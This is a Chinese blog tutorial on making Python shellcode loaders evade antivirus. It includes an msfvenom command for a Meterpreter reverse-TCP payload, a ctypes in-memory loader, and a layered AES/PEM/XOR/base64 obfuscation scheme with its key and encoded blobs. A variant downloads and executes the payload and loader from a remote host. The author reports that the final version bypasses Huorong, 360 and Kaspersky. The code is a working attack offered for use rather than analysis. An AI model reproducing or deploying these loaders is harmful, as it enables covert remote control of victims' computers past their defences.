python加载shellcode免杀

1、第一个shellcode加载器

import ctypes# msf生成的shellcode,命令:msfvenom -e x64/xor_dynamic -i 16 -p windows/x64/meterpreter_reverse_tcp lhost=192.168.111.111 lport=80 -f py -o shell.py
buf =  b""
buf += b"\xeb\x27\x5b\x53\x5f\xb0\xe7\xfc\xae\x75\xfd\x57"
#-------shellcode省略-------#以下为shellcode加载器
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

2、python加载shellcode免杀

  • 利用msf生成shellcode

    msfvenom -e x64/xor_dynamic -i 16 -p windows/x64/meterpreter_reverse_tcp lhost=192.168.111.111 lport=80 -f py -o shell.py
    
  • 编码,生成混淆后的shellcode和加载器

    import base64
    import binascii
    import ctypes
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad, unpad
    from Crypto.IO import PEM# msf生成的shellcode,命令:msfvenom -e x64/xor_dynamic -i 16 -p windows/x64/meterpreter_reverse_tcp lhost=192.168.111.111 lport=80 -f py -o shell.py
    buf =  b""
    buf += b"\xeb\x27\x5b\x53\x5f\xb0\xe7\xfc\xae\x75\xfd\x57"
    #-------shellcode省略-------# shellcode加载器,这里用byte类型方便base64编码
    shell_loader = b'''
    ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
    rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf))
    handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
    ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
    '''key = b'4d65017f65d72aada5d1ab08d5c4bd18'       # 参数key: 秘钥,要求是bytes类型,并且长度必须是16、24或32 bytes,因为秘钥的长度可以为:128位、192位、256位
    iv = b'7d2d3e0bb1642d52'                        #初始化向量,第一组明文就是用它加密def aes_encode(shellcode):a = AES.new(key, AES.MODE_CBC, iv)          # 创建用于加密的AES对象  AES.new(密钥, 加密模式, 初始化向量)b = a.encrypt(pad(shellcode, 32))           # 使用对象进行加密,加密的时候,需要使用pad对数据进行填充,因为加密的数据要求必须是能被128整除# pad参数内容,第一个是待填充的数据,第二个是填充成多大的数据,需要填充成256位即32bytesreturn binascii.b2a_hex(b)                  # 将加密后的结果(二进制)转换成十六进制的或者其它形式def b_to_a(shellcode):return binascii.b2a_hex(shellcode)          # 将字节类型转换为字符串def b64_encode(shellcode):return base64.b64encode(shellcode)          # base64编码def PEM_encode(shellcode):shellcode = PEM.encode(shellcode, '', passphrase=b'shellcode')     #PEM加密,PEM.encode(需要加密的数据, 指定名称这里为空, passphrase:指定密钥)return shellcodedef shellcode_xor(shellcode):                   # 异或变形xor_code = ''								#空字符串方便异或后拼接for i in shellcode:i = ord(i) ^ 678						#把每个字符转成ASCII值与678进行异或xor_code += str(i) + '_'				#异或后的每个字符使用 _ 进行拼接return xor_code[:-1]						#去除掉最后一个 _def shellcode_encode(shellcode):return shellcode_xor(PEM_encode(aes_encode(b64_encode(b_to_a(shellcode)))))          # 对shellcode进行处理 转换为字符串 -> base64编码 -> aes加密 -> PEM加密 -> 异或 -> 最终结果'739_744_736_738_752_764_749_717_721_704_.......'def main(shellcode):return (shellcode_encode(shellcode), base64.b64encode(shell_loader[::-1]))            # 返回值为元组 (混淆后的shellcode, 加载器先反转再base64编码)if __name__ == '__main__':shellcode, shell_loader = main(buf)       # buf为msf生成的shellcodeprint(shellcode)                        # 混淆后的shellcodeprint(shell_loader)                       # 加载器先反转再base64编码得到的结果
    
  • 加载器

    import base64
    import binascii
    import ctypes
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad, unpad
    from Crypto.IO import PEM#混淆后的shellcode
    shellcode = '651_651_651_651_651_740_739_737_751_744_646_651_651_651_651_651_684_758_724_713_709_651_混淆后的加载器
    shell_load = b'CikxLSAsZWxkbmFoKHRjZWpiT2VsZ25pU3JvRnRpYVcuMjNsZW5yZWsubGxkbml3LnNlcHl0YwopMCAsMCAsMCAsKWVnYXB4d3IoNDZ0bml1X2Muc2VweXRjICwwICwwKGRhZXJoVGV0YWVyQy4yM2xlbnJlay5sbGRuaXcuc2VweXRjID0gZWxkbmFoCikpZnViKG5lbCAsKWZ1YihyZWZmdWJfZ25pcnRzX2V0YWVyYy5zZXB5dGMgLCllZ2FweHdyKDQ2dG5pdV9jLnNlcHl0Yyh5cm9tZU1ldm9NbHRSLjIzbGVucmVrLmxsZG5pdy5zZXB5dGMKKTA0eDAgLDAwMDN4MCAsKWZ1YihuZWwgLDAoY29sbEFsYXV0cmlWLjIzbGVucmVrLmxsZG5pdy5zZXB5dGMgPSBlZ2FweHdyCjQ2dG5pdV9jLnNlcHl0Yz1lcHl0c2VyLmNvbGxBbGF1dHJpVi4yM2xlbnJlay5sbGRuaXcuc2VweXRjCg=='key = b'4d65017f65d72aada5d1ab08d5c4bd18'
    iv = b'7d2d3e0bb1642d52'def aes_decode(shellcode):a = AES.new(key, AES.MODE_CBC, iv)shellcode = binascii.a2b_hex(shellcode)shellcode = unpad(a.decrypt(shellcode), 32)return shellcodedef a_to_b(shellcode):return binascii.a2b_hex(shellcode)def b64decode(shellcode):return base64.b64decode(shellcode)def PEM_decode(shellcode):shellcode = PEM.decode(shellcode, passphrase=b'shellcode')return shellcodedef shellcode_xor_decode(shellcode):shellcode = shellcode.split('_')xor_code = ''for i in shellcode:i = int(i) ^ 678xor_code += chr(i)return xor_codedef main():return a_to_b(b64decode(aes_decode(PEM_decode(shellcode_xor_decode(shellcode))[0])))if __name__ == '__main__':buf = main()exec(base64.b64decode(shell_load)[::-1])
    
    • pyinstaller进行打包(打包前删除所有注释)

      pyinstaller.exe -F -w C:\demo_load.py
      
  • 测试结果

    • VIRUSTOTAL:https://www.virustotal.com/gui/home/upload

      在这里插入图片描述

    • 微步在线:https://s.threatbook.com/

      在这里插入图片描述

    • 可以过火绒静态和动态特征正常上线,但无法过360和卡巴斯基

      在这里插入图片描述

3、网络分离

  • 编码,生成混淆后的shellcode和加载器,写入文件a.txt

    import base64
    import binascii
    import ctypes
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad, unpad
    from Crypto.IO import PEM# msf生成的shellcode,命令:msfvenom -e x64/xor_dynamic -i 16 -p windows/x64/meterpreter_reverse_tcp lhost=192.168.111.111 lport=80 -f py -o shell.py
    buf =  b""
    buf += b"\xeb\x27\x5b\x53\x5f\xb0\xe7\xfc\xae\x75\xfd\x57"
    #-------shellcode省略-------# shellcode加载器
    shell_loader = b'''
    ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
    rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf))
    handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
    ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
    '''key = b'4d65017f65d72aada5d1ab08d5c4bd18'       # 参数key: 秘钥,要求是bytes类型,并且长度必须是16、24或32 bytes,因为秘钥的长度可以为:128位、192位、256位
    iv = b'7d2d3e0bb1642d52'                        #初始化向量,第一组明文就是用它加密def aes_encode(shellcode):a = AES.new(key, AES.MODE_CBC, iv)          # 创建用于加密的AES对象  AES.new(密钥, 加密模式, 初始化向量)b = a.encrypt(pad(shellcode, 32))           # 使用对象进行加密,加密的时候,需要使用pad对数据进行填充,因为加密的数据要求必须是能被128整除# pad参数内容,第一个是待填充的数据,第二个是填充成多大的数据,需要填充成256位即32bytesreturn binascii.b2a_hex(b)                  # 将加密后的结果(二进制)转换成十六进制的或者其它形式def b_to_a(shellcode):return binascii.b2a_hex(shellcode)          # 将字节类型转换为字符串def b64_encode(shellcode):return base64.b64encode(shellcode)          # base64编码def PEM_encode(shellcode):shellcode = PEM.encode(shellcode, '', passphrase=b'shellcode')     #PEM加密,PEM.encode(需要加密的数据, 指定名称这里为空, passphrase:指定密钥)return shellcodedef shellcode_xor(shellcode):                   # 异或变形xor_code = ''								#空字符串方便异或后拼接for i in shellcode:i = ord(i) ^ 678						#把每个字符转成ASCII值与678进行异或xor_code += str(i) + '_'				#异或后的每个字符使用 _ 进行拼接return xor_code[:-1]						#去除掉最后一个 _def shellcode_encode(shellcode):return shellcode_xor(PEM_encode(aes_encode(b64_encode(b_to_a(shellcode)))))          # 对shellcode进行处理 转换为字符串 -> base64编码 -> aes加密 -> PEM加密 -> 异或 -> 最终结果'739_744_736_738_752_764_749_717_721_704_.......'def main(shellcode):return (shellcode_encode(shellcode), base64.b64encode(shell_loader[::-1]))            # 返回值为元组 (混淆后的shellcode, 加载器先反转再base64编码)if __name__ == '__main__':shellcode, shell_loader = main(buf)       # buf为msf生成的shellcodewith open('a.txt', mode='w') as f1:		  #混淆后的shellcode写入a.txt文件中f1.write(shellcode)
    
  • 对加载器进行编码写入文件b.txt

    test = b'''
    import base64
    import binascii
    import ctypes
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad, unpad
    from Crypto.IO import PEMshell_load = b'CikxLSAsZWxkbmFoKHRjZWpiT2VsZ25pU3JvRnRpYVcuMjNsZW5yZWsubGxkbml3LnNlcHl0YwopMCAsMCAsMCAsKWVnYXB4d3IoNDZ0bml1X2Muc2VweXRjICwwICwwKGRhZXJoVGV0YWVyQy4yM2xlbnJlay5sbGRuaXcuc2VweXRjID0gZWxkbmFoCikpZnViKG5lbCAsKWZ1YihyZWZmdWJfZ25pcnRzX2V0YWVyYy5zZXB5dGMgLCllZ2FweHdyKDQ2dG5pdV9jLnNlcHl0Yyh5cm9tZU1ldm9NbHRSLjIzbGVucmVrLmxsZG5pdy5zZXB5dGMKKTA0eDAgLDAwMDN4MCAsKWZ1YihuZWwgLDAoY29sbEFsYXV0cmlWLjIzbGVucmVrLmxsZG5pdy5zZXB5dGMgPSBlZ2FweHdyCjQ2dG5pdV9jLnNlcHl0Yz1lcHl0c2VyLmNvbGxBbGF1dHJpVi4yM2xlbnJlay5sbGRuaXcuc2VweXRjCg=='key = b'4d65017f65d72aada5d1ab08d5c4bd18'
    iv = b'7d2d3e0bb1642d52'def aes_decode(shellcode):a = AES.new(key, AES.MODE_CBC, iv)shellcode = binascii.a2b_hex(shellcode)shellcode = unpad(a.decrypt(shellcode), 32)return shellcodedef a_to_b(shellcode):return binascii.a2b_hex(shellcode)def b64decode(shellcode):return base64.b64decode(shellcode)def PEM_decode(shellcode):shellcode = PEM.decode(shellcode, passphrase=b'shellcode')return shellcodedef shellcode_xor_decode(shellcode):shellcode = shellcode.split('_')xor_code = ''for i in shellcode:i = int(i) ^ 678xor_code += chr(i)return xor_codedef main(shellcode):return a_to_b(b64decode(aes_decode(PEM_decode(shellcode_xor_decode(shellcode))[0])))buf = main(buf)
    exec(base64.b64decode(shell_load)[::-1])
    '''
    b = base64.b64encode(test[::-1])
    with open('b.txt', mode='w') as f1:f1.write(b)
    
  • 将加密和编码后的shellcode和加载器代码通过网络下载

    import requests
    import base64
    import binascii
    import ctypes
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad, unpad
    from Crypto.IO import PEMa = requests.get('http://192.168.111.111:8000/a.txt')
    buf = a.textb = requests.get('http://192.168.111.111:8000/b.txt')
    exec(base64.b64decode(b.content)[::-1].decode())
    
    • pyinstaller进行打包(打包前删除所有注释)

      pyinstaller.exe -F -w C:\request_load.py
      
  • 测试结果

    • VIRUSTOTAL:https://www.virustotal.com/gui/home/upload

      在这里插入图片描述

    • 微步在线:https://s.threatbook.com/

      在这里插入图片描述

    • 可以过火绒静态和动态特征正常上线

      在这里插入图片描述

    • 可以过360静态和动态特征正常上线

      在这里插入图片描述

    • 无法过卡巴斯基

4、本地分离

  • 把编码后的shellcode保存到a.txt中

    import base64
    import binascii
    import ctypes
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad, unpad
    from Crypto.IO import PEM# msf生成的shellcode,命令:msfvenom -e x64/xor_dynamic -i 16 -p windows/x64/meterpreter_reverse_tcp lhost=192.168.111.111 lport=80 -f py -o shell.py
    buf =  b""
    buf += b"\xeb\x27\x5b\x53\x5f\xb0\xe7\xfc\xae\x75\xfd\x57"
    #-------shellcode省略-------# shellcode加载器
    shell_loader = b'''
    ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
    rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf))
    handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
    ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
    '''key = b'4d65017f65d72aada5d1ab08d5c4bd18'       # 参数key: 秘钥,要求是bytes类型,并且长度必须是16、24或32 bytes,因为秘钥的长度可以为:128位、192位、256位
    iv = b'7d2d3e0bb1642d52'                        #初始化向量,第一组明文就是用它加密def aes_encode(shellcode):a = AES.new(key, AES.MODE_CBC, iv)          # 创建用于加密的AES对象  AES.new(密钥, 加密模式, 初始化向量)b = a.encrypt(pad(shellcode, 32))           # 使用对象进行加密,加密的时候,需要使用pad对数据进行填充,因为加密的数据要求必须是能被128整除# pad参数内容,第一个是待填充的数据,第二个是填充成多大的数据,需要填充成256位即32bytesreturn binascii.b2a_hex(b)                  # 将加密后的结果(二进制)转换成十六进制的或者其它形式def b_to_a(shellcode):return binascii.b2a_hex(shellcode)          # 将字节类型转换为字符串def b64_encode(shellcode):return base64.b64encode(shellcode)          # base64编码def PEM_encode(shellcode):shellcode = PEM.encode(shellcode, '', passphrase=b'shellcode')     #PEM加密,PEM.encode(需要加密的数据, 指定名称这里为空, passphrase:指定密钥)return shellcodedef shellcode_xor(shellcode):                   # 异或变形xor_code = ''								#空字符串方便异或后拼接for i in shellcode:i = ord(i) ^ 678						#把每个字符转成ASCII值与678进行异或xor_code += str(i) + '_'				#异或后的每个字符使用 _ 进行拼接return xor_code[:-1]						#去除掉最后一个 _def shellcode_encode(shellcode):return shellcode_xor(PEM_encode(aes_encode(b64_encode(b_to_a(shellcode)))))          # 对shellcode进行处理 转换为字符串 -> base64编码 -> aes加密 -> PEM加密 -> 异或 -> 最终结果'739_744_736_738_752_764_749_717_721_704_.......'def main(shellcode):return (shellcode_encode(shellcode), base64.b64encode(shell_loader[::-1]))            # 返回值为元组 (混淆后的shellcode, 加载器先反转再base64编码)if __name__ == '__main__':shellcode, shell_loader = main(buf)       # buf为msf生成的shellcodewith open('a.txt', mode='w') as f1:		  #混淆后的shellcode写入a.txt文件中f1.write(shellcode)
    
  • 对加载器进行编码

    test = b'''
    import base64
    import binascii
    import ctypes
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad, unpad
    from Crypto.IO import PEMshell_load = b'CikxLSAsZWxkbmFoKHRjZWpiT2VsZ25pU3JvRnRpYVcuMjNsZW5yZWsubGxkbml3LnNlcHl0YwopMCAsMCAsMCAsKWVnYXB4d3IoNDZ0bml1X2Muc2VweXRjICwwICwwKGRhZXJoVGV0YWVyQy4yM2xlbnJlay5sbGRuaXcuc2VweXRjID0gZWxkbmFoCikpZnViKG5lbCAsKWZ1YihyZWZmdWJfZ25pcnRzX2V0YWVyYy5zZXB5dGMgLCllZ2FweHdyKDQ2dG5pdV9jLnNlcHl0Yyh5cm9tZU1ldm9NbHRSLjIzbGVucmVrLmxsZG5pdy5zZXB5dGMKKTA0eDAgLDAwMDN4MCAsKWZ1YihuZWwgLDAoY29sbEFsYXV0cmlWLjIzbGVucmVrLmxsZG5pdy5zZXB5dGMgPSBlZ2FweHdyCjQ2dG5pdV9jLnNlcHl0Yz1lcHl0c2VyLmNvbGxBbGF1dHJpVi4yM2xlbnJlay5sbGRuaXcuc2VweXRjCg=='key = b'4d65017f65d72aada5d1ab08d5c4bd18'
    iv = b'7d2d3e0bb1642d52'def aes_decode(shellcode):a = AES.new(key, AES.MODE_CBC, iv)shellcode = binascii.a2b_hex(shellcode)shellcode = unpad(a.decrypt(shellcode), 32)return shellcodedef a_to_b(shellcode):return binascii.a2b_hex(shellcode)def b64decode(shellcode):return base64.b64decode(shellcode)def PEM_decode(shellcode):shellcode = PEM.decode(shellcode, passphrase=b'shellcode')return shellcodedef shellcode_xor_decode(shellcode):shellcode = shellcode.split('_')xor_code = ''for i in shellcode:i = int(i) ^ 678xor_code += chr(i)return xor_codedef main(shellcode):return a_to_b(b64decode(aes_decode(PEM_decode(shellcode_xor_decode(shellcode))[0])))with open('./a.txt', mode='r') as f1:			#读取保存到a.txt中的shellcodebuf = main(f1.read())						#对shellcode进行解码exec(base64.b64decode(shell_load)[::-1])	#利用加载器执行shellcode
    '''
    b = base64.b64encode(test[::-1])	#先反转再base64编码
    print(b)
    
  • 最终的加载器,执行之前a.txt要在同一级目录

    import base64
    import binascii
    import ctypes
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad, unpad
    from Crypto.IO import PEMshell_loader = b'CildMS06OlspZGFvbF9sbGVocyhlZG9jZWQ0NmIuNDZlc2FiKGNleGUgICAgCikpKGRhZXIuMWYobmlhbSA9IGZ1YiAgICAKOjFmIHNhICkncic9ZWRvbSAsJ3R4dC5hLy4nKG5lcG8gaHRpdwoKCikpKV0wWykpZWRvY2xsZWhzKGVkb2NlZF9yb3hfZWRvY2xsZWhzKGVkb2NlZF9NRVAoZWRvY2VkX3NlYShlZG9jZWQ0NmIoYl9vdF9hIG5ydXRlciAgICAKOillZG9jbGxlaHMobmlhbSBmZWQKCmVkb2Nfcm94IG5ydXRlciAgICAKKWkocmhjID0rIGVkb2Nfcm94ICAgICAgICAKODc2IF4gKWkodG5pID0gaSAgICAgICAgCjplZG9jbGxlaHMgbmkgaSByb2YgICAgCicnID0gZWRvY19yb3ggICAgCiknXycodGlscHMuZWRvY2xsZWhzID0gZWRvY2xsZWhzICAgIAo6KWVkb2NsbGVocyhlZG9jZWRfcm94X2Vkb2NsbGVocyBmZWQKCmVkb2NsbGVocyBucnV0ZXIgICAgCiknZWRvY2xsZWhzJ2I9ZXNhcmhwc3NhcCAsZWRvY2xsZWhzKGVkb2NlZC5NRVAgPSBlZG9jbGxlaHMgICAgCjopZWRvY2xsZWhzKGVkb2NlZF9NRVAgZmVkCgopZWRvY2xsZWhzKGVkb2NlZDQ2Yi40NmVzYWIgbnJ1dGVyICAgIAo6KWVkb2NsbGVocyhlZG9jZWQ0NmIgZmVkCgopZWRvY2xsZWhzKHhlaF9iMmEuaWljc2FuaWIgbnJ1dGVyICAgIAo6KWVkb2NsbGVocyhiX290X2EgZmVkCgplZG9jbGxlaHMgbnJ1dGVyICAgIAopMjMgLCllZG9jbGxlaHModHB5cmNlZC5hKGRhcG51ID0gZWRvY2xsZWhzICAgIAopZWRvY2xsZWhzKHhlaF9iMmEuaWljc2FuaWIgPSBlZG9jbGxlaHMgICAgCil2aSAsQ0JDX0VET00uU0VBICx5ZWsod2VuLlNFQSA9IGEgICAgCjopZWRvY2xsZWhzKGVkb2NlZF9zZWEgZmVkCgonMjVkMjQ2MWJiMGUzZDJkNydiID0gdmkKJzgxZGI0YzVkODBiYTFkNWFkYWEyN2Q1NmY3MTA1NmQ0J2IgPSB5ZWsKCic9PWdDalJYZXdWMmN1Y1hhdVJHYnM1eWFsSm5ibHgyTXk0aVZwSkhkMUZHYkJ4R2J2Tm1MeVYyYzBsSGNsMXpZMGxIY2xObkxqOVZkcDVHZDJRakN5ZEhld0YyWmxCU1BnTUdkNUJYWno1eWRwNUdac3htTHJWbWN1VkdieklqTFdsbWMwVlhZc0ZFYnM5MllvQURMZ3dXWnVoaVkxWldLc0FDTTRORE13QURMZ0FEZTBBVEtLTUdkNUJYWno1eWRwNUdac3htTHJWbWN1VkdieklqTFNSSGJOOW1kbDFVWnQ5bWM1aHlZMGxIY2xObkxqOVZkcDVHZDJRREt5ZEhld0YyWmxsQ0xnTUdkNUJYWno1eVl5VldZMFYyWHpSbmNwNTJaZkpXZG1aV1p5aGlZMVpXS3NBQ2JsNUdLaVZuWnBraUNvRm1ia3hXWmcwRElqUlhld1YyY3VjWGF1UkdiczV5YWxKbmJseDJNeTR5UXlWV1kwVkdWb0pYWmhSR0t3d0NJd3dDSWpSWGV3VjJjdU0yWDFsbWIwWkROb0kzZDRCWFluVldLc0FDTXNBQ01zQUNNcG93WTBsSGNsTm5MM2xtYmt4R2J1c1daeTVXWnNOak11Y1ZZcFJuUnZKM1VwNTJac1YyVGlwV1pqUkhLb0ZtYmt4V1pzQVNMeGtpQydiID0gZGFvbF9sbGVocwoKTUVQIHRyb3BtaSBPSS5vdHB5ckMgbW9yZgpkYXBudSAsZGFwIHRyb3BtaSBnbmlkZGFQLmxpdFUub3RweXJDIG1vcmYKU0VBIHRyb3BtaSByZWhwaUMub3RweXJDIG1vcmYKc2VweXRjIHRyb3BtaQppaWNzYW5pYiB0cm9wbWkKNDZlc2FiIHRyb3BtaQo='
    exec(base64.b64decode(shellcode_loader)[::-1])
    
    • pyinstaller进行打包(打包前删除所有注释)

      pyinstaller.exe -F -w C:\a.py
      
  • 测试结果

    • VIRUSTOTAL:https://www.virustotal.com/gui/home/upload

      在这里插入图片描述

    • 微步在线:https://s.threatbook.com/

      在这里插入图片描述

    • 可以过火绒静态和动态特征正常上线

      在这里插入图片描述

    • 可以过360静态和动态特征正常上线

      在这里插入图片描述

      在这里插入图片描述

    • 可以过卡巴斯基静态和动态特征正常上线(这里使用的payload为windows/x64/meterpreter_reverse_tcp,如果使用windows/x64/meterpreter/reverse_tcp,会被卡巴斯基反网络攻击拦截无法上线)

      在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/102909.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MAX17058_MAX17059 STM32 iic 驱动设计

本文采用资源下载链接,含完整工程代码 MAX17058-MAX17059STM32iic驱动设计内含有代码、详细设计过程文档,实际项目中使用代码,稳定可靠资源-CSDN文库 简介 MAX17058/MAX17059 IC是微小的锂离子(Li )在手持和便携式设备的电池电量计。MAX170…

关于Win系统提示由于找不到msvcr120.dll文件问题解决办法

在我使用电脑的过程中,突然弹出了一个错误提示框,提示我系统中缺少msvcp120.dll文件。这个文件是系统运行所必需的,缺少它可能会导致一些软件无法正常运行。经过一番搜索和咨询,我找到了以下几种解决方案,分享给大家&a…

OpenCV中initUndistortRectifyMap ()函数与十四讲中去畸变公式的区别探究

文章目录 1.十四讲中的去畸变公式2. OpenCV中的去畸变公式3. 4个参数和8个参数之间的区别4.initUndistortRectifyMap()函数源码 最近在使用OpenCV对鱼眼相机图像去畸变时发现一个问题,基于针孔模型去畸变时所使用的参数和之前十四讲以及视觉SLAM中的畸变系数有一点不…

Vue-2.3v-model原理

原理:v-model本质上是一个语法糖,例如应用在输入框上,就是value属性和input事件的合写。 作用:提供数据的双向绑定 1)数据变,视图跟着变:value 2)视图变,数据跟着变input 注意&a…

把短信验证码储存在Redis

校验短信验证码 接着上一篇博客https://blog.csdn.net/qq_42981638/article/details/94656441,成功实现可以发送短信验证码之后,一般可以把验证码存放在redis中,并且设置存放时间,一般短信验证码都是1分钟或者90s过期,…

伦敦金的交易时间究竟多长?

接触过伦敦金交易的投资者,应该都知道自己根本不用担心市场上没有交易的机会,因为它全天的交易时间长达20多个小时,也就是在每一个正常的交易日,除去交易平台中途短暂的系统维护时间,投资者几乎全天都可以做盘。 伦敦金…

Maven导入程序包jakarta.servlet,但显示不存在

使用前提:(Tomcat10版本)已知tomcat10版本之后,使用jakart.servlet。而tomcat9以及之前使用javax.servlet。 问题描述:在maven仓库有导入了Jakarta程序包,但是界面仍然显示是javax。(下图&…

Unity实现设计模式——适配器模式

Unity实现设计模式——适配器模式 适配器模式又称为变压器模式、包装模式(Wrapper) 将一个类的接口变换成客户端所期待的另一种接口,从而使原本因接口不匹配而无法在一起工作的两个类能够在一起工作。 在一个在役的项目期望在原有接口的基础…

一文带你上手自动化测试中的PO模式!

在UI的自动化测试中,我们需要把测试使用到的数据分离到文件中,如果单纯的写在我们的测试模块里面,不是一个好的设计,所以不管是什么类型的自动化测试,都是需要把数据分离出来的。当然分离到具体的文件里面,…

智能井盖传感器:数智赋能让城市管理更智慧

智能井盖传感器:数智赋能让城市管理更智慧 在城市化快速发展的今天,保护和增强城市基础设施生命线的需求至关重要。而井盖作为守护城市地下空间的安全门,其智能化管理与城市生命线安全工程建设息息相关。在这篇文章中将为大家详细介绍智能井…

OpenCV级联分类器识别车辆实践笔记

1. OpenCV 级联分类器的基本原理 基于Haar特征的级联分类器的目标检测是Paul Viola和Michael Jones在2001年的论文中提出的一种有效的目标检测方法。这是一种基于机器学习的方法,从大量的正面和负面图像中训练级联函数。然后用它来检测其他图像中的物体。 Haar特征…

CTF Misc(3)流量分析基础以及原理

前言 流量分析在ctf比赛中也是常见的题目,参赛者通常会收到一个网络数据包的数据集,这些数据包记录了网络通信的内容和细节。参赛者的任务是通过分析这些数据包,识别出有用的信息,例如登录凭据、加密算法、漏洞利用等等 工具安装…

共生与共享:线程与进程的关系

🌍前言 在计算机科学和操作系统领域,线程(Thread)和进程(Process)是两个关键概念。它们之间存在密切的关系,但又有着明显的区别。本文将深入探讨线程和进程之间的关系,以及它们在并…

使用Perl脚本编写爬虫程序的一些技术问题解答

网络爬虫是一种强大的工具,用于从互联网上收集和提取数据。Perl 作为一种功能强大的脚本语言,提供了丰富的工具和库,使得编写的爬虫程序变得简单而灵活。在使用的过程中大家会遇到一些问题,本文将通过问答方式,解答一些…

telnet 连接闪退

目录 问题查找问题解决参考 问题 在使用 telnet 连接板子时,出现了 telnet 界面一闪而逝的情况。正常板子开机,查看其存在 telnetd 进程,而使用 telnet 后,登录界面一闪而逝,板子上的 telnetd 进程消失。 查找问题 …

python psutil库之——获取网络信息(网络接口信息、网络配置信息、以太网接口、ip信息、ip地址信息)

文章目录 使用Python psutil库获取网络信息安装psutil库获取网络连接信息查看所有网络连接过滤特定状态的连接 获取网络接口信息获取网络IO统计信息实例1实例2 总结 使用Python psutil库获取网络信息 Python的psutil库是一个跨平台库,能够方便地获取系统使用情况和…

docker-compose Install hfish

前言hfish HFish是一款社区型免费蜜罐,侧重企业安全场景,从内网失陷检测、外网威胁感知、威胁情报生产三个场景出发,为用户提供可独立操作且实用的功能,通过安全、敏捷、可靠的中低交互蜜罐增加用户在失陷感知和威胁情报领域的能力。 HFish具有超过40种蜜罐环境、提供免费…

PTA 7-5 令人抓狂的四则运算

题目 曾记否,我们小学时,遇到这种四则运算,心情是抓狂的: 那么当我们学会使用计算机,自然是要程序去完成这个工作啦~ 现在请对输入的四则运算求值。注意: 四则运算表达式必定包含运算数,还可能…

【MySQL入门到精通-黑马程序员】MySQL基础篇-DCL

文章目录 前言一、DCL-介绍二、DCL-管理用户二、DCL-权限控制总结 前言 本专栏文章为观看黑马程序员《MySQL入门到精通》所做笔记,课程地址在这。如有侵权,立即删除。 一、DCL-介绍 DCL英文全称是Data Control Language(数据控制语言&#x…

基于FPGA的数字时钟系统设计

在FPGA的学习中,数字时钟是一个比较基础的实验案例,通过该实验可以更好的锻炼初学者的框架设计能力以及逻辑思维能力,从而打好坚实的基本功,接下来就开始我们的学习吧! 1.数码管介绍 数码管通俗理解就是将8个LED(包含…